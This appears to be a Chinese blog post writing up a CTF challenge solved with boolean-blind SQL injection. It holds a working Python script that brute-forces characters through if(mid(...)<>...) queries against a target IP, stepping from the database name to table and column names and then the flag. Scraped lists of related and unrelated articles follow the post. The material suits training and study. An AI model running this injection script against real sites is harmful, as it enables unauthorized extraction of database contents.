当时做这题的时候,写了脚本,用的if(mid())<>来爆破的,可能因为写脚本不擅长,写的太乱了,直接把payload写进mid里,整个一堆,然后括号对着WP看的时候,少了好几个括号,导致爆破失败,真的臭FIVE。首先来复现一遍把

一般都是习惯性查看源代码,

其实就是过滤了一些函数和and,=等  ,这些被过滤的话,而且对应着

我一开始想到的就是bool盲注,用if(0,1,2),if(1,1,2)测试过。然后一般是有两种尝试方式,一种是ascii+substr或者if+mid。我一开始就是选择的if+mid,但是爆破不出来,语句括号问题,所以这里提醒大家,能看起来简洁就简介,多使用格式化字符串,我以前都是用%,发现format很好用,3.6新加了字符串前f的格式化字符串(百度)。越简洁越好,看起来清爽

呢么上脚本

import requests
str = "A109"
url = "http://212.64.20.100/?id="
database = ''
#payload='database()'
#payload ="select group_concat(table_name separator '@') from information_schema.tables where table_schema like database()"
#payload ='select group_concat(column_name) from information_schema.columns where table_name like 0x666c3467'
payload ='select fl4g from fl4g'
print('start')
for i in range(1,100):
for w in range(48,127):
key={'id':"if((mid(({}),{},1)<>'{}'),1,2)".format(payload,i,chr(w))}
res = requests.get(url,params=key).text
print('............%s......%s.......'%(i,w))
if str in res:
database += chr(w)
break
print(database)

哎,可惜了。如果是3.6版本以上,你就可以直接

f"if((mid(({payload}),{i},1)<>'{chr(w)}'),1,2)"
很方便的哦,写脚本的时候,规范点,不要太乱,能先预制好的,可以先预制好。看起来也简洁,这样一看,上面的括号就看的清楚了,不至于把payload啥的全写进去,看的不清楚,容易漏
加油

opcourse sql布尔盲注 WP复现的更多相关文章

  1. sql布尔盲注和时间盲注的二分脚本

    布尔盲注: import requests url = "http://challenge-f0b629835417963e.sandbox.ctfhub.com:10080/" ...

  2. 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注

    前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...

  3. SQL注入之Sqli-labs系列第八篇(基于布尔盲注的注入)

    开始挑战第八关(Blind- Boolian- Single Quotes- String) 这关首先需要用到以下函数: 开始测试,使用测试语句,利用单引号进行闭合 猜解字段 union select ...

  4. WEB安全--高级sql注入,爆错注入,布尔盲注,时间盲注

    1.爆错注入 什么情况想能使用报错注入------------页面返回连接错误信息 常用函数 updatexml()if...floorextractvalue updatexml(,concat() ...

  5. WEB新手之布尔盲注

    开始写SQL的题,单引号等特殊符号闭合漏洞比较简单,因此从Less-5开始写. 布尔盲注是多种盲注的一种,这种盲注方法也比较好理解.但使用这种盲注有一个前提,就是网页会有回显,透过这个回显,我们可以通 ...

  6. SQL注入--盲注及报错注入

    盲注查询 盲注其实就是没有回显,不能直观地得到结果来调整注入数据,只能通过其他方式来得到是否注入成功,主要是利用了一些数据库内置函数来达到的 布尔盲注 布尔很明显Ture跟Fales,也就是说它只会根 ...

  7. sqli-labs less8-10(布尔盲注时间盲注)

    less-8 布尔盲注 首先利用?id=1' and 1=1 --+和?id=1' and 1=2 --+确定id的类型为单引号''包裹.然后进行盲注. 盲注思路: 破解当前数据库名: and len ...

  8. SQL注入----盲注总结

    参考文章:https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247490388&idx=1&sn=c677837d7 ...

  9. sqli-labs lesson5-6 布尔盲注 报错注入 延时注入

    LESSON 5: 典型的布尔盲注. 盲注:sql注入过程中,sql语句的执行结果不回显到前端,这个时候就只能用一些别的方法进行判断或者尝试,这个判断或者尝试就叫做盲注.盲注又分为:1.基于布尔SQL ...

随机推荐

  1. 人生第一个过万 Star 的 github 项目诞生

    写 Spring Boot 开源项目走入第三个年头,终于有一个开源项目要破万 Star 了,请各位读者大人批评指正. Spring Boot 文章 2016年,我开始学习 Spring Boot 的时 ...

  2. Redis的常见用法

    Redis redis是一个key-value存储系统.和Memcached类似,它支持存储的value类型相对更多,包括string(字符串).list(链表).set(集合).zset(sorte ...

  3. Idea中最最常见的快捷键

    掌握如下快捷键,基本就够用了.没必要记那么多. Ø  命令:Ctrl+Shift+A可以查找所有Intellij的命令,并且每个命令后面还有其快捷键.所以它不仅是一大神键,也是查找学习快捷键的工具. ...

  4. mysql排序,同样的sql,mysql 每次查询结果顺序不一致

    某天项目中写了一句排序sql,但是发现每次执行的结果都不同,就是排序顺序不一样. select * from table_tmp order by printStatus asc,dealTime d ...

  5. [转帖]Qemu 简述

    Qemu 简述 记得KVM 就是 底层用的qemu https://www.cnblogs.com/bakari/p/7858029.html 本文首发于我的公众号 Linux云计算网络(id: cl ...

  6. 解决SecureCRT无法连接虚拟机的问题

  7. Ubuntu16设置Redis开机自启动

    Ubuntu16设置Redis开机自启动   Ubuntu16设置Redis开机自启动 设置条件: -Ubuntu16.04 -Redis-4.0.11 在redis目录下找到  utils/redi ...

  8. [洛谷P1419] 寻找段落

    一道单调队列的好题 传送门:>Here< 题意:求一个连续子段,其长度在\([S,T]\)之间,使其平均值最大.保留三位小数 解题思路 考虑二分答案,转化为判定问题.设当前二分到\(k\) ...

  9. Django_ORM操作 - 查询

    ORM 操作 必知必会13条 <1> all(): 查询所有结果 <2> filter(**kwargs): 它包含了与所给筛选条件相匹配的对象 <3> get(* ...

  10. Python基础7:字符串方法

    1 * 重复输出字符串 print('helo '*4) 2 [],[:] 通过索引获取字符串中的字符,这里和列表中的切片操作是相同的,具体内容见列表 print('hello word'[2:]) ...